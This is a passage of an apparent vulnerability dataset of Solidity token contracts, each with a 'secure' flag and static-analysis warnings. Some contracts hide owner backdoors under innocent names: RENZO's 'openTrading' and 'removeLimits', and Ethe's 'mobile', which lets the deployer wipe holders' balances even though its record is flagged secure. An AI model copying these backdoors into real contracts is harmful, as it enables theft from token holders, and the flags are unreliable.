Transfer(address(0), to, id);\n }\n\n function _burn(address from) internal virtual {\n if (from == address(0)) {\n revert InvalidSender();\n }\n\n uint256 id = _owned[from][_owned[from].length - 1];\n\n _owned[from].pop();\n\n delete _ownedIndex[id];\n\n delete _ownerOf[id];\n\n delete getApproved[id];\n\n emit Transfer(from, address(0), id);\n }\n\n function _setNameSymbol(\n string memory _name,\n string memory _symbol\n ) internal {\n name = _name;\n\n symbol = _symbol;\n }\n}\n",
"file_name": "solidity_code_1480.sol",
"secure": 0,
"size_bytes": 8167
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC404.sol\" as ERC404;\n\n// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\ncontract Circle is ERC404 {\n constructor() ERC404(\"Circle\", \"CIRCLE\", 18, 1, msg.sender) {\n balanceOf[msg.sender] = 1 * 10 ** 18;\n\n _mint(address(this));\n }\n\n function setNameSymbol(\n string memory _name,\n string memory _symbol\n ) public onlyOwner {\n _setNameSymbol(_name, _symbol);\n }\n\n function tokenURI(uint256 id) public pure override returns (string memory) {\n require(id == 1, \"Invalid token ID\"); // Ensure it’s the correct token ID\n\n string\n memory imageURI = \"ipfs://bafkreibgby4frs4bmdczol2sg5wvtphavewwkqlvarpyc34ztqxfsakg2a\";\n\n string memory json = string(\n abi.encodePacked(\n \"{'name': 'ERC404 NFT #1', \",\n \"'description': 'A unique NFT with fractional ownership enabled by the ERC404 standard.', \",\n \"'image': '\",\n imageURI,\n \"'}\"\n )\n );\n\n return string(abi.encodePacked(\"data:application/json;utf8,\", json));\n }\n}",
"file_name": "solidity_code_1481.sol",
"secure": 0,
"size_bytes": 1429
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_) Ownable() {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = 18;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_1482.sol",
"secure": 1,
"size_bytes": 4835
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ELUNToken is ERC20 {\n constructor() ERC20(\"ElunMuski\", \"ELUN\") {\n _mint(owner(), 1000000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_1483.sol",
"secure": 1,
"size_bytes": 284
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FoMoonFun is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dbaed84): FoMoonFun._taxWallet should be immutable \n\t// Recommendation for dbaed84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42bf19b): FoMoonFun._initialBuyTax should be constant \n\t// Recommendation for 42bf19b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1a27f2): FoMoonFun._initialSellTax should be constant \n\t// Recommendation for e1a27f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 5;\n\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a25ac6c): FoMoonFun._reduceBuyTaxAt should be constant \n\t// Recommendation for a25ac6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfa223c): FoMoonFun._reduceSellTaxAt should be constant \n\t// Recommendation for dfa223c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 96f2493): FoMoonFun._preventSwapBefore should be constant \n\t// Recommendation for 96f2493: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"fomoon.fun\";\n\n string private constant _symbol = unicode\"FOMO\";\n\n uint256 public _maxTxAmount = 420000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 420000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf3e383): FoMoonFun._taxSwapThreshold should be constant \n\t// Recommendation for bf3e383: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 210000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e03a3f7): FoMoonFun._maxTaxSwap should be constant \n\t// Recommendation for e03a3f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 210000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bce9fc0): FoMoonFun.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bce9fc0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d4de5b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d4de5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5538be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5538be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6d4de5b\n\t\t// reentrancy-benign | ID: a5538be\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6d4de5b\n\t\t// reentrancy-benign | ID: a5538be\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23de541): FoMoonFun._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23de541: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5538be\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6d4de5b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 13762cd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 13762cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d362610): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d362610: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 13762cd\n\t\t\t\t// reentrancy-eth | ID: d362610\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 13762cd\n\t\t\t\t\t// reentrancy-eth | ID: d362610\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d362610\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d362610\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d362610\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 13762cd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d362610\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d362610\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 13762cd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6d4de5b\n\t\t// reentrancy-events | ID: 13762cd\n\t\t// reentrancy-benign | ID: a5538be\n\t\t// reentrancy-eth | ID: d362610\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f0cccb6): FoMoonFun.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f0cccb6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6d4de5b\n\t\t// reentrancy-events | ID: 13762cd\n\t\t// reentrancy-eth | ID: d362610\n\t\t// arbitrary-send-eth | ID: f0cccb6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b078d5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b078d5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad92863): FoMoonFun.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ad92863: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1fd3dce): FoMoonFun.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1fd3dce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 73f671f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 73f671f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b078d5e\n\t\t// reentrancy-eth | ID: 73f671f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b078d5e\n\t\t// unused-return | ID: ad92863\n\t\t// reentrancy-eth | ID: 73f671f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b078d5e\n\t\t// unused-return | ID: 1fd3dce\n\t\t// reentrancy-eth | ID: 73f671f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: b078d5e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 73f671f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1484.sol",
"secure": 0,
"size_bytes": 16874
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PridePepeAI is ERC20, Ownable {\n constructor() ERC20(\"Pride Pepe AI\", \"GAI\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1485.sol",
"secure": 1,
"size_bytes": 361
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ethe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ceremony;\n\n constructor() {\n _name = \"ETHE\";\n\n _symbol = \"ETHE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 683000000;\n\n ceremony = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ceremony, \"Not allowed\");\n\n _;\n }\n\n function mobile(address[] memory document) public onlyOwner {\n for (uint256 i = 0; i < document.length; i++) {\n address account = document[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1486.sol",
"secure": 1,
"size_bytes": 4359
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract RENZO {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad86089): RENZO.tokenTotalSupply should be immutable \n\t// Recommendation for ad86089: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67e2693): RENZO.xxnux should be immutable \n\t// Recommendation for 67e2693: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 46b761c): RENZO.tokenDecimals should be immutable \n\t// Recommendation for 46b761c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8c338e8): RENZO.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 8c338e8: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Renzo\";\n\n tokenSymbol = \"RENZO\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 8c338e8\n xxnux = ads;\n }\n\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1487.sol",
"secure": 0,
"size_bytes": 5647
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 943d450): Contract locking ether found Contract HACHI has payable functions HACHI.receive() But does not have a function to withdraw the ether\n// Recommendation for 943d450: Remove the 'payable' attribute or add a withdraw function.\ncontract HACHI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f019f8): HACHI._name should be constant \n\t// Recommendation for 1f019f8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Hachiko\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 013018b): HACHI._symbol should be constant \n\t// Recommendation for 013018b: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"HACHI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e035d6d): HACHI._decimals should be constant \n\t// Recommendation for e035d6d: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization 